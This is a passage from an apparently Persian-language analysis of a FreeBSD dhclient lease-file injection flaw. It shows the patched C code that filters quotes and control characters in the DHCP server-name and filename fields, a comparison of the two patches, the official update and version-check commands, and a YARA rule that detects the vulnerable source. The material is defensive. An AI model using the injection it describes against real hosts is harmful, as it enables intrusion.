        	warning("dhcpoffer: server name contains "
            		"unsafe characters");
        	free(lease->server_name);
        	lease->server_name = NULL;
        	break;
    }
    lease->server_name[i] = packet->raw->sname[i];
}

				
			

برای filename، منطق کمی متفاوت است. control character و double quote همچنان unsafe هستند، اما backslash به forward slash تبدیل می‌شود:

				
					for (i = 0; i < DHCP_FILE_LEN; i++) {
    if (packet->raw->file[i] == '\0') {
        break;
    }
    if (packet->raw->file[i] < ' ' ||
        packet->raw->file[i] == '"') {
            warning("dhcpoffer: file name contains "
                "unsafe characters");
            free(lease->filename);
            lease->filename = NULL;
        break;
    }
    if (packet->raw->file[i] == '\\') {
        /*
         * This is common in Windows-centric
         * environments.  Instead of rejecting,
         * silently convert to forward slash.
         */
        packet->raw->file[i] = '/';
    }
    lease->filename[i] = packet->raw->file[i];
}

				
			

این نسخه از patch نسبت به patch اولیه دقیق‌تر است، چون از یک طرف مسیر تزریق را می‌بندد و از طرف دیگر، leaseهای سالمی را که فقط به‌دلیل وجود backslash در file name مشکل compatibility داشتند، بی‌دلیل رد نمی‌کند. commit مربوطه در releng/15.0 با hash کامل dc8762cfb6e2794ec10873263fa606ff969b1905 منتشر شده است.

   ۵.۷ مقایسه patch اولیه و patch تکمیلی

 
 

 

 

ویژگی

patch اولیه / SA-26:12

patch تکمیلی / EN-26:11

شاخه تست‌شده

releng/15.0

releng/15.0

hash

e7b4fb41aafa

dc8762cfb6e2

نسخه release

15.0-RELEASE-p7

15.0-RELEASE-p8

رفتار در برابر “

رد lease

حذف مقدار unsafe

رفتار در برابر control character

پوشش صریح نداشت

حذف مقدار unsafe

رفتار در برابر \ در server_name

رد lease

حذف server_name

رفتار در برابر \ در filename

رد lease

تبدیل به /

اثر امنیتی

قطع زنجیره exploit

حفظ امنیت با compatibility بهتر

فایل تغییرکرده

sbin/dhclient/dhclient.c

sbin/dhclient/dhclient.c

   ۵.۸ روش اعمال patch روی سیستم آسیب‌پذیر

برای سیستم‌های FreeBSD 15.0-RELEASE نصب‌شده از base system packages روی معماری‌های amd64 یا arm64، Advisory رسمی روش زیر را برای به‌روزرسانی معرفی کرده است:

				
					pkg upgrade -r FreeBSD-base
				
			

برای سیستم‌های RELEASE نصب‌شده از binary distribution sets، روش رسمی استفاده از freebsd-update است:

				
					freebsd-update fetch
freebsd-update install

				
			

برای سیستم‌هایی که از سورس build می‌شوند، Advisory روش دریافت patch، بررسی امضای PGP، اعمال patch و سپس buildworld/installworld را پیشنهاد می‌کند:

				
					fetch https://security.FreeBSD.org/patches/SA-26:12/dhclient.patch
fetch https://security.FreeBSD.org/patches/SA-26:12/dhclient.patch.asc
gpg --verify dhclient.patch.asc
cd /usr/src
patch < /path/to/patch

				
			

پس از اعمال patch یا update، باید daemonهای مرتبط restart شوند یا سیستم reboot شود. Advisory رسمی FreeBSD همین سه مسیر update را برای اصلاح ارائه کرده است.

   ۵.۹ روش بررسی وضعیت patch

برای بررسی وضعیت patch روی سیستم FreeBSD، دستورهای زیر کافی هستند:

				
					freebsd-version -kru
uname -a

				
			

خروجی مورد انتظار برای حداقل patch امنیتی شاخه 15.0 باید شامل 15.0-RELEASE-p7 یا نسخه بالاتر باشد:

				
					15.0-RELEASE-p7
15.0-RELEASE-p7
15.0-RELEASE-p7

				
			

   ۵.۱۰ تشخیص source-level با YARA

این YARA فقط برای بررسی سورس‌کد است، نه برای تشخیص قطعی وضعیت باینری نصب‌شده. برای وضعیت واقعی سیستم، freebsd-version -kru و hash source tree قابل اتکاتر هستند.

				
					rule FreeBSD_Dhclient_CVE_2026_42511_Vulnerable_Source
{
    meta:
        description = "Heuristic source-level detection for vulnerable FreeBSD dhclient lease serialization behavior"
        cve = "CVE-2026-42511"
        target_file = "sbin/dhclient/dhclient.c"
    strings :
        $write_filename = "fprintf(leaseFile, \"  filename \\\"%s\\\";\\n\", lease->filename);" ascii
        $write_server = "fprintf(leaseFile, \"  server-name \\\"%s\\\";\\n\", lease->server_name);" ascii
        $old_copy_file = "memcpy(lease->filename, packet->raw->file, DHCP_FILE_LEN);" ascii
        $old_copy_sname = "memcpy(lease->server_name, packet->raw->sname, DHCP_SNAME_LEN);" ascii
        $fix_quote_file = "packet->raw->file[i] == '\"'" ascii
        $fix_quote_srv = "packet->raw->sname[i] == '\"'" ascii
        $fix_ctrl_file = "packet->raw->file[i] < ' '" ascii
        $fix_ctrl_srv = "packet->raw->sname[i] < ' '" ascii
    condition :
        $write_filename and $write_server and
        $old_copy_file and $old_copy_sname and
        not (($fix_quote_file and $fix_quote_srv) or ($fix_ctrl_file and $fix_ctrl_srv))
}

				
			

این rule عمداً محافظه‌کارانه نوشته شده است. هدف آن تشخیص سریع الگوی سورس آسیب‌پذیر است، نه جایگزین کردن بررسی سطح پچ و ممکن است روی backportهای متفاوت false positive یا false negative داشته باشد.

مقالات مرتبط

اکسپلویت ویندوز - CVE-2026-24291 - آسیب‌پذیری ارتقای سطح دسترسی - Privilege Escalation - سرویس ATBroker.exe

تحلیل آسیب‌پذیری CVE-2026-24291

۱. مقدمه در دسامبر 2024، تیم تحقیقاتی MDSec در جریان توسعه ابزارهای ردتیم (Red Team) خود، با رفتاری غیرمعمول در مکانیزم انتقال تنظیمات Accessibility ویندوز مواجه شد. این رفتار، که

CVE-2026-24061 - تزریق آرگومان - Argument Injection - دور زدن احراز هویت - Authentication Bypass - دور زدن احراز هویت از راه دور - Remote Authentication Bypass - پیش از احراز هویت - Pre-Authentication - اجرای کد از راه دور - Remote Code Execution -ارتقای سطح دسترسی - Privilege Escalation

تحلیل آسیب‌پذیری CVE-2026-24061

۱. مقدمه آسیب‌پذیری CVE-2026-24061 یکی از ضعف‌های امنیتی مهم شناسایی‌شده در سرویس GNU Inetutils Telnetd است که می‌تواند به مهاجم راه‌دور اجازه دهد سازوکار احراز هویت سیستم را دور بزند

CVE-2026-2757 Mozilla Firefox Firefox ESR Mozilla Thunderbird WebRTC WebRTC GMP Video Decoder H.264 Decoder Out-of-Bounds Read

تحلیل آسیب پذیری CVE-2026-2757

۱. مقدمه مرورگرهای مدرن فقط نمایش‌دهنده صفحات HTML نیستند؛ آن‌ها مجموعه‌ای پیچیده از تجزیه‌کننده‌ها (Parser)، رمزگشاها (Decoder)، سندباکس (Sandbox)، کامپایلرهای JIT، رابط‌های برنامه‌نویسی کاربردی سیستم‌عامل (API) و مسیرهای شبکه‌ای هستند

wpChatIcon
wpChatIcon